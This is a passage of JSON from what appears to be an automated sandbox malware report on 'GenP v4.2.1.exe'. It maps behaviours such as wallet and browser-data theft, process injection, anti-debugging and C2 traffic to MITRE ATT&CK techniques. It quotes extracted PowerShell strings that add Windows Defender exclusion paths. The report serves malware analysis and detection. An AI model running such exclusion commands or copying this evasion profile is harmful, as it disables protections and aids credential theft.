Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Contains registry location strings"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"Loads Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Discovery","technique":"Browser Information Discovery","attack_id":"T1217","attack_id_wiki":"https://attack.mitre.org/techniques/T1217","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"},{"type":"informative","value":"Able to capture drag-drop file operations"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Tries to steal Crypto currency wallets information (file access)"},{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"Sends a suspicious GET request"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"Contains ability to set options for internet handles (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"malicious","value":"GETs executable from a web server (HTTPS)"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"suspicious","value":"Drops script files inside temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Command and Control","technique":"Bidirectional Communication","attack_id":"T1102.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/002","identifiers":[{"type":"informative","value":"Contains ability to upload or download data from a specified domain"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"},{"type":"suspicious","value":"Sends UDP traffic"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"},{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"References hosts file in file/memory"},{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"suspicious","value":"Writes multiple files with double extensions (often indicator of ransomware infection)"},{"type":"informative","value":"Able to access crypto-related API (String)"},{"type":"informative","value":"Contains reference to crypto DLLs"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"VirtualFreeEx\" (Indicator: \"VirtualFree\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAlloc\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"WriteProcessMemory\" (Indicator: \"WriteProcessMemory\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"MpFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00001656.00000002.257253.743C1000.00000020.mdmp\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify Windows Defender exclusions (Powershell command string)","description":"file/memory contains long string with (Indicator: \"add-mppreference\"; File: \"AMSI\")\n Found reference string \"Add-MpPreference -ExclusionPath $updpath\" (Indicator: \"add-mppreference\"; Source: \"00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp\")\n Found reference string \"Add-MpPreference -ExclusionPath $ProgramFilesX86\" (Indicator: \"add-mppreference\"; Source: \"00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp\")\n Found reference string \"Add-MpPreference -ExclusionPath $AppData\" (Indicator: \"add-mppreference\"; Source: \"00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp\")\n Found reference string \"Add-MpPreference -ExclusionPath $LocalAppData\" (Indicator: \"add-mppreference\"; Source: \"00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-980","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.003","id":"string-439","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00006656)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00006656)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00006656)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00006656)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"GenP-v4.2.1.exe\" called \"LoadResource with parameter {'hModule': '140695481286656', 'hResInfo': '140695482348656'}\" (UID: 00000000-00007688)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '140378113', 'hResInfo': '140379360'}\" (UID: 00000000-00006656)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '140378113', 'hResInfo': '140379392'}\" (UID: 00000000-00006656)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '140378113', 'hResInfo': '140379408'}\" (UID: 00000000-00006656)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '140378113', 'hResInfo': '140379376'}\" (UID: 00000000-00006656)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"OSPPSVC.EXE\" called \"RemoveDirectoryW\" with parameter masterkey_db (UID: 00000000-00005880)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThreadToken\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Export-ModuleMember\"; File: \"AMSI\")\n Found string \"elWrapper.EndProcessing() } } catch { throw } } # .EXTERNALHELP MSFT_MpWDOScan.cdxml-Help.xml}Microsoft.PowerShell.Core\\Export-ModuleMember -Function 'Start-MpWDOScan' -Alias '*'\" (Indicator: \"Export-ModuleMember\"; File: \"AMSI\")\n Found string \"on_objectModelWrapper.EndProcessing() } } catch { throw } } # .EXTERNALHELP MSFT_MpRollback.cdxml-Help.xml}Microsoft.PowerShell.Core\\Export-ModuleMember -Function 'Start-MpRollback' -Alias '*'\" (Indicator: \"Export-ModuleMember\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"$29","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"HashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00006860-00000BC0-2961471892\")\n Found reference to \"CDSA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00001656.00000001.256170.01812000.00000004.mdmp, 00000000-00001656.00000001.256170.01861000.00000004.mdmp, 00000000-00001656.00000002.257253.0185D000.00000004.mdmp\")\n Found reference to \"ECDSA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00001656.00000001.256170.01812000.00000004.mdmp, 00000000-00001656.00000001.256170.0182B000.00000004.mdmp, 00000000-00001656.00000001.256170.01861000.00000004.mdmp, 00000000-00001656.00000002.257253.0182B000.00000004.mdmp, 00000000-00001656.00000002.257253.0185D000.00000004.mdmp\")\n Found reference to \"CDSA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00006656.00000001.260210.02B20000.00000004.mdmp, 00000000-00006656.00000002.261062.02B3A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\root\\cimv2; Source: \"00000000-00001656-00002713-3013924662\")\n Found string - \\\\.\\root\\cimv2; Source: \"00000000-00001656.00000002.257253.0185D000.00000004.mdmp\")\n Found string - \\.\\GlobalRoot\\SystemRoot\\Defender Duplication Data; Source: \"00000000-00006656.00000001.260210.02B20000.00000004.mdmp, 00000000-00006656.00000002.261062.02C15000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"ReAgentc.exe\" loaded module \"%WINDIR%\\SysWOW64\\dbghelp.dll\" at 6F310000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"Genpv4.2.1.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"Genpv4.2.1.exe\" set its error mode to SEM_FAILCRITICALERRORS\n \"GenP-v4.2.1.exe\" set its error mode to SEM_FAILCRITICALERRORS\n \"svchost.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"svchost.exe\" set its error mode to SEM_FAILCRITICALERRORS\n \"cmd.exe\" set its error mode to SEM_FAILCRITICALERRORS\n \"OSPPSVC.EXE\" set its error mode to SEM_NOOPENFILEERRORBOX","origin":"API Call","mitre_attack_id":"T1562.006","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"\"svchost.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEM\\DNSCLIENT\")\n \"svchost.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"svchost.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\")\n \"svchost.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\")\n \"svchost.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\DNS\")\n \"svchost.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\DNSCACHE\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2a","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"GenP-v4.2.1.exe\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to block user input (API string)","description":"Found reference to API \"BlockInput\" (Indicator: \"BlockInput\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-547","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"OutputDebugStringW\" (Indicator: \"OutputDebugString\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00005880-00000C2C-3030171017\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CertGetCertificateChain\" (Indicator: \"CertGetCertificateChain\"; Source: \"00000000-00001656.00000001.256170.04000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00006656.00000001.260210.08090000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00005740.00000000.258418.01400000.00000004.mdmp, 00000000-00005740.00000001.258505.01400000.00000004.mdmp\")\n Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00006656.00000000.258291.02B20000.00000004.mdmp, 00000000-00006656.00000001.260210.02B20000.00000004.mdmp, 00000000-00006656.00000002.261062.02B20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Cryptographic 